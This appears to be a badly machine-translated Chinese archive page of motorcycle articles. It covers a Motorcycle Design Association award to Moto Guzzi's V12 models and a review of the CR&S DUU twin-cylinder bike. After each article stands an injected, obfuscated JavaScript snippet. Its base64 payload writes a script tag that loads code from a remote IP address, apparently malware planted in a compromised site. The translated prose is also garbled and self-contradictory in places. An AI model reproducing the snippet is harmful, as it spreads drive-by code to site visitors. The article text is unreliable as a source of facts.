存档为 七月 2014
摩托车设计协会 | 2012 米兰夜
历史悠久的品牌摩托固斯, 属于该组比亚乔, 他获得了摩托车设计协会奖, 证明了米格尔Galluzzi直接文体中心的质量.
颁奖仪式, 它mercoledì¬早上在天蝎座的房间在会议中心内EICMA举行, 它在关于意大利风格和比亚乔设计中心的素质和敬业精神. 这是摩托车设计协会在人的总统, 格林·克尔, 传递到手中达里奥·洛佩兹, 代表“比亚乔集团的图形区域, 的殊荣，每年给予表彰设计界以最好的摩托车产品在创新和风格方面. 出席欢迎仪式的有多纳托Cannatello, 设计师和国际的成员.
对于版 2009 奖项, 组织设计 (拥有 165 在四大洲成员) 它决定不授予奖的单一模式, 但三属于同一品牌, 在这种情况下固斯. 因此，该奖项是到了V12斯特拉达, 在V12和V12 LM X.
摩托车设计协会简要说明
"摩托车外观设计独特，高度专业化领域, 但有以前一直没有中央机构代表事业, 遗漏这一直是设计师和制造商都造成损害.
结果是, 摩托车设计协会在创建 2001 由联合创始人格林·克尔和弗朗索瓦 - 玛丽·杜马斯. 该协会的宗旨是汇集各民族的摩托车设计师, 以促进他们的活动，并缓解设计师和潜在客户之间的通信. 我们也有效地促进学生的作业, 并帮助建立学院和摩托车行业之间的联系.
该协会目前拥有超过会员 150 会员, 包括自由设计师, 工程师, modelmakers和设计工作室遍布世界各地。"
有些盖致力于DUU
RIDERS
携带, 但不黑桃
在20000欧元的起拍价在一年内出售, DUU查看上次米兰展作为一个概念 (我们已经描述号车手的预览 22) 这是近年来为数不多的真正原创的提案之一.
米兰CR&s表示孔是相同的轻量级单缸VUN: 罗伯托Crepaldi, 乔治·萨尔蒂和约翰Cabassi, 企业家之前，所有这三个车手, 他们都集中在一个未开发的利基，但有趣. 该DUU是小编专门制作了, 模块化和高度可定制, 与同盟法国和汉美式和欧式风格的独家内容, 但在成本的一小部分提供. 引线, 2个方言meneghino, 因为汽缸有两个和位移 (1.916 此) 这是未来两升, 为什么, 希望, 自行车PUE是在两个地方，而不是作为单座VUN. 这马克西街头霸王56，汇编°X-楔美国S的V2&小号, 强大的怪物，其 16 KGM最大扭矩仅仅三千转. 框架是由抛光的不锈钢的: 一个大的梁，也可作为汽油的容器, 与铝侧板保持后摆臂 (总是大的弯曲钢管) 和油箱亦持有鞍.
设计由多纳托Cannatello签署, 谁工作了艾普瑞利亚比摩塔, 它已在发动机的正下方卸载, 它隐藏所有的桥墩，并通过添加创建易于编辑极简线, 或删除, 一组配件 (包括贮存上述裙撑或容器) 功能和美学附录. 鞍可以在一个或两个地方，有头灯和表面光洁度不同的解决方案. 尽管大引擎, 自行车是在同类产品共有紧凑，重量高达哈雷的Sportster 883, 因为DUU由被驱动，不仅财大气粗. 一个雄心勃勃的项目, 并非没有阻力的克服, 作为其CR的经验和声誉&小号. 但必须指出，这一现实组织, 小, 像一个真正的摩托车行业. (毛里齐奥GISSI)
功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64，ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}
两个轮子
大双子米兰!
双单声道后: 来自小型工匠的现实，这种充满独特风格的两升装诞生了
通过里卡多·卡帕基奥内
…告诉他们一百万, 继续他的心，继续我的男人”. 我们翻译的非米兰: 的“Made in米兰, 与心脏和手“, Ë’ CR生产的自行车上写的句子&小号塞蒂莫米兰. 到目前为止，目录中唯一的模型是Vun, 苗条的单一现在有一个姐姐, 不是所有的流线型, 它呼吁DUU. 在米兰方言VUN指“一个”为圆柱体, 一个地方，“独一无二”. 引线, 您将了解, 而是想说“两节”为两个汽缸, 两个地方和… 只, 她. 在CR的客户&小号, 其实, 他们可以通过选择设置来订购摩托车, 机箱组件, 电机中的着色的和当然的制备. 这就是为什么价格变化很大, 从基部开始 20.000 欧元. 在CR模型背后的设计理念&S是简单字正腔圆, 少来实现: 自行车必须是必不可少的, 整个发动机和底盘的视线, 但它也必须是一个风格, 而2: 该制造商和客户的那, 如前所述, 他积极参与创立了自己的运动. 如果E’ 他们俩? 贾, 什么是Duu? 这是一个强大的双缸逃脱正常的定义: 定制裸, 跑车, 街头霸王? 很难把一个特定类型. 最好, 简单地, 描述的技术特点, 真正独特的. 该底盘由CR构造&S和由上部管状巨合金钢的, 让人想起由瑞士专家弗里茨他用的架构; 谁有一些’ 后面的泉水会记住 , 除其他, 他炫耀的精彩文森特 1967. 大主框架管DUU也执行燃料箱的功能, 在CR项目的策略的例子&小号, 这趋向于每个部件的最大积分和简化. 在后部的结构是通过光灿烂合金板封闭, 从“全”锻造获得的切割器. 钢管架中的单侧摇臂与侧向减震器相连. 车轮, 其他独家CR&小号, 他们是出色的，特别是在后, 悬臂安装有一个单一的中央螺母和在品种的不同的设计. 玻璃纤维上层建筑很少，而且必不可少; 前灯的真正不寻常的解决方案是… 它不是, 通过容纳在“鲨鱼腮”在叉的两侧的两个侧光学组件替换, 让人想起VUN的风格特质. 这些汽车可以DUU, 像我们测试的一个, 但是有两个人的设置和旅行的设置, 用袋和专用配件. 谁的妈妈! S&S X-楔形多米纳. 气缸的两个巨大的翅片塔彼此分开56.25°，并将活塞容纳在内部 105 毫米内径-长行程 111 毫米. 该方案恢复了哈雷戴维森发动机的方案, 为此&S一直生产特殊零件, 但在这种情况下，这是一个全新的单元. 头部装有两个大阀门 (50,8 进气口毫米, 40,64 排气口毫米), 彼此平行并通过摇臂和支撑在三个凸轮轴上的杆移动, 两个排气，一个共同进气, 位于基地. 找的零钱, 分离, 这是五速面包师. 电源采用电子注入, 而催化排气, 建立在CR规范上&小号, 它在引擎之下, 有两个出色的侧面“枪支”. 主链传动采用Harley模式，位于左侧. 拖轮夫妇我们坚持要大量测试原型, 尚待开发, 杜的, 但是ne是华尔兹值得的. 双缸, 无副轴, 脉冲, 那时候, 但最重要的是它以令人印象深刻的力量推动. kgm排放下的后轮胎吟, Duu向前跳跃，骑手对车把有很好的抓地力. 鞍座更明显的上升将有助于释放一些推力, 减轻手臂的压力. 总重量不超过, 关于位移, ed分布良好, 这使得Duu比预期的更易于管理. 鞍座中的几公里仅使我们对这辆自行车的性能含糊不清，这肯定会令人兴奋, 我们迫不及待地想把它榨干,.. “敬请关注”, 我们会通知你的! 功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64，ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}